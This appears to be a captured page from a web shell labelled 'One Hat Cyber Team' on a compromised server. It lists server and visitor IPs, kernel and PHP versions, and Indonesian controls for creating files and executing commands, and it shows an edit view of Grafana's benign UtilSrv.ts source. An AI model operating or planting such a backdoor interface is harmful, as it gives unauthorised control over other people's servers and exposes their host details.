⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
grafana
/
public
/
app
/
angular
/
services
/
Edit File: UtilSrv.ts
import { deprecationWarning } from '@grafana/data'; import { appEvents } from 'app/core/app_events'; import { HideModalEvent, ShowModalEvent } from '../../types/events'; /** * Old legacy utilSrv exposed to angular services and handles angular modals. * Not used by any core or known external plugin. */ export class UtilSrv { modalScope: any; constructor() {} init() { appEvents.subscribe(ShowModalEvent, (e) => this.showModal(e.payload)); appEvents.subscribe(HideModalEvent, this.hideModal.bind(this)); } /** * @deprecated use showModalReact instead that has this capability built in */ hideModal() { deprecationWarning('UtilSrv', 'hideModal', ''); if (this.modalScope && this.modalScope.dismiss) { this.modalScope.dismiss(); } } /** * @deprecated */ showModal(options: any) { deprecationWarning('UtilSrv', 'showModal', 'publish ShowModalReactEvent'); } }
Simpan